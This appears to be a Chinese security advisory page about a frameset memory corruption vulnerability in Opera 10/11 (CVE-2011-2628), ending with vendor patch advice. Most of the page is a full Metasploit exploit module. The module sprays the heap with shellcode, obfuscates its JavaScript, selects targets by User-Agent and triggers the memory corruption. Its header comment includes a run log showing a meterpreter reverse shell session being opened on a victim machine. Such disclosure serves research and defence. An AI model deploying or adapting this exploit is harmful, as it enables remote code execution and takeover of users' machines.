安全研究
安全漏洞
Opera Web Browser框架集结构内存破坏漏洞
发布日期：2011-05-18
更新日期：2011-05-18
受影响系统：
Opera Software Opera Web Browser 9.x不受影响系统：
Opera Software Opera Web Browser 8.x
Opera Software Opera Web Browser 7.x
Opera Software Opera Web Browser 6.x
Opera Software Opera Web Browser 5.x
Opera Software Opera Web Browser 11.x
Opera Software Opera Web Browser 10.x
Opera Software Opera Web Browser 11.11描述：
BUGTRAQ ID: 47906
Opera Web Browser是Opera Software开发的网络浏览器和互联网软件套装。
Opera Web Browser在处理某些框架集结构时上存在内存破坏漏洞，远程攻击者可利用此漏洞在受影响系统中执行任意代码或造成拒绝服务。
此漏洞源于在页面卸载过程中处理某些框架集结构时出现的错误，通过特制的网页即可利用造成内存破坏。
<*链接：http://www.opera.com/support/kb/view/992/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption
#
# Vulnerability:
#
# Discovered: 2010-08-18
# Patched: 2011-05-18
# Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)
# v11.xx < v11.11 (v11.00, v11.01 and v11.10)
# Patched on: v11.11
#
# Exploit:
#
# Coded: 2010-09-23
# Last revision: 2011-09-30
#
# RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10*
# DoS on: v10.01, v10.10, v10.53, v10.61 and v10.63
#
# Notes:
#
# 1) DEP bypass: possible but unreliable.
# 2) Let me know if you improve this one ;)
# 3) Most of times, it won't work at first attempt and need crash-dialog interaction.
#
# Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com
#
# Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, etc
#
# Running against Opera v10.62...
#
#
# =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
# + -- --=[ 741 exploits - 378 auxiliary - 82 post
# + -- --=[ 228 payloads - 27 encoders - 8 nops
# =[ svn r13801 updated 3 days ago (2011.09.27)
#
# msf > use windows/browser/opera_frameset_tag
# msf exploit(opera_frameset_tag) > set payload windows/meterpreter/reverse_tcp
# payload => windows/meterpreter/reverse_tcp
# msf exploit(opera_frameset_tag) > set LHOST 192.168.1.103
# LHOST => 192.168.1.103
# msf exploit(opera_frameset_tag) > exploit
# [*] Exploit running as background job.
#
# [*] Started reverse handler on 192.168.1.103:4444
# msf exploit(opera_frameset_tag) >
# [*] Using URL: http://0.0.0.0:8080/sUpFmezLW6jS
# [*] Local IP: http://192.168.1.103:8080/sUpFmezLW6jS
# [*] Server started.
# [*] Sending Opera 10/11 (bad nesting with frameset tag) Memory Corruption to 192.168.1.104:1185 (target: Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default))
# [*] Sending stage 1 (Spraying the heap)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage (752128 bytes) to 192.168.1.104
# [*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.104:1190) at 2011-09-30 19:23:28 +0200
# Interrupt: use the 'exit' command to quit
# msf exploit(opera_frameset_tag) > sessions
#
# Active sessions
# ===============
#
# Id Type Information Connection
# -- ---- ----------- ----------
# 1 meterpreter x86/win32 0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12 192.168.1.103:4444 -> 192.168.1.104:1190
#
# msf exploit(opera_frameset_tag) > sessions -i 1
# [*] Starting interaction with 1...
#
# meterpreter > getuid
# Server username: 0XDE1-A39ED4C12\0xde1
# meterpreter > execute -f calc.exe
# Process 1336 created.
# meterpreter > exit
# [*] Shutting down Meterpreter...
# msf exploit(opera_frameset_tag) >
#
################################################################################################################
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Opera 10/11 (bad nesting with frameset tag) Memory Corruption',
'Description' => %q{
This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within
Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses.
Successfully exploiting leads to remote code execution or denial of service condition under Windows XP
SP3 (DEP = off).
Note than most of cases, it won't work at first attempt and need crash-dialog interaction.
Read the last reference for further details.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jose A. Vazquez'
],
'Version' => '$Revision: 0011 $',
'References' =>
[
['CVE', '2011-2628'],
['OSVDB', '72406'],
['BID', '47906'],
['URL', 'http://www.opera.com/support/kb/view/992/'],
['URL', 'http://www.beyondsecurity.com/ssd.html'],
['URL', 'http://spa-s3c.blogspot.com/2011/05/spas3c-sv-004opera-browser-1111.html'],
['URL', 'http://spa-s3c.blogspot.com/2011/09/spas3c-sv-004reliability-tests-ssd.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
# Automatic
[ 'Automatic',
{}
],
# Opera > v10.54 ~ spray of 350 MB
[ 'Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)',
{
'SizeofSpray' => 700,
'Ret' => 0x0c0c0c0c
}
],
# Opera <= v10.54 ~ spray of 250 MB
[ 'Opera Browser (v10.50 - v10.54) / Windows XP SP3 (DEP-default)',
{
'SizeofSpray' => 500,
'Ret' => 0x0c0c0c0c
}
],
# Opera < v10.50 doesn't get crashed with previous method and it needs this one.
[ 'Opera Browser (v10.00 - v10.10) / Windows XP SP3 (DEP-default)',
{
'SizeofSpray' => 500,
'Ret' => 0x0c0c0c0c
}
]
],
'DisclosureDate' => '5 October 2011',
'DefaultTarget' => 0))
end
#I don't know if Msf::Exploit::Remote::BrowserAutopwn works, but I'm going to include my own auto-target selection
def automatic_target(cli, request)
thistarget = nil
agent = request.headers['User-Agent']
if agent =~ /Version\/10\.00/ or agent =~ /Version\/10\.01/ or agent =~ /Version\/10\.10/
thistarget = targets[3]
elsif agent =~ /Version\/10\.50/ or agent =~ /Version\/10\.51/ or agent =~ /Version\/10\.52/ or agent =~ /Version\/10\.53/ or agent =~ /Version\/10\.54/
thistarget = targets[2]
else
thistarget = targets[1]
end
thistarget
end
def on_request_uri(cli, request)
mytarget = target
if target.name == 'Automatic'
mytarget = automatic_target(cli, request)
end
if(request.uri =~ /\.xhtml$/)
#Send file for trigger the vulnerability for cases > v10.10
html = %Q|
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
<meta http-equiv="refresh" content="0;url=" />
<xht:frameset>
<xht:iframe>
<xht:script>
rbc
</xht:script>
<style type="text/css">
<!-- /* padding CSS */
approx:root{
font: 333em;
}
-->
</style>
</xht:iframe>
</xht:frameset>
</html>
|
#Send triggerer
print_status("Sending stage 2 (Triggering the vulnerability)")
var_contentype = 'application/xhtml+xml'
else
#Send payload + hide iframe for trigger the vuln
#Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
#Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
#Ret
addr_word = [mytarget.ret].pack('V').unpack('H*')[0][0,4]
#Randomize the javascript variable names
var_buffer = rand_text_alpha(rand(30)+2)
var_shellcode = rand_text_alpha(rand(30)+2)
var_unescape = rand_text_alpha(rand(30)+2)
var_x = rand_text_alpha(rand(30)+2)
var_i = rand_text_alpha(rand(30)+2)
var_size = rand_text_alpha(rand(30)+2)
var_nopsize = rand_text_alpha(rand(30)+2)
var_limit = rand_text_alpha(rand(30)+2)
var_function_trigger = rand_text_alpha(rand(30)+2)
var_file_trigger = rand_text_alpha(rand(30)+2)
var_timer_trigger = (rand(3) + 2) * 1000
#Build the exploit
var_url = ((datastore['SSL']) ? "https://" : "http://")
var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
var_url << ":" + datastore['SRVPORT']
var_url << get_resource
#Sending init HTML
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})")
if mytarget.name =~ /v10.00/
# Case v10.00 - v10.10
html = %Q|
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
<xht:frameset>
<xht:iframe>
<xht:script>
aaaaaa
</xht:script>
</xht:iframe>
</xht:frameset>
<script type="text/javascript">
<![CDATA[
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}("#{shellcode}");
var #{var_size} = #{var_shellcode}.length * 2;
var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);
var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
#{var_buffer} += #{var_buffer};
}
var #{var_x} = new Array();
for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
#{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
}
setInterval("location.reload()", 500);
]]>
</script>
<html>
|
print_status("Sending simple stage (Sprayer and Triggerer)")
var_contentype = 'application/xhtml+xml'
else
# Case > v10.10
html = %Q|
<html>
<head>
<script type="text/javascript">
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}("#{shellcode}");
var #{var_size} = #{var_shellcode}.length * 2;
var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);
var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
#{var_buffer} += #{var_buffer};
}
var #{var_x} = new Array();
for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
#{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
}
function #{var_function_trigger}(){
document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
}
setTimeout('#{var_function_trigger}()',#{var_timer_trigger});
</script>
</head>
<html>
|
print_status("Sending stage 1 (Spraying the heap)")
var_contentype = 'text/html'
end
end
#Response
send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })
#Handle the payload
handler(cli)
end
end
建议：
厂商补丁：
Opera Software
--------------
Opera Software已经为此发布了一个安全公告（992）以及相应补丁:
992：Frameset issue allows execution of arbitrary code
链接：http://www.opera.com/support/kb/view/992/
浏览次数：2876
严重程度：0（网友投票）
绿盟科技给您安全的保障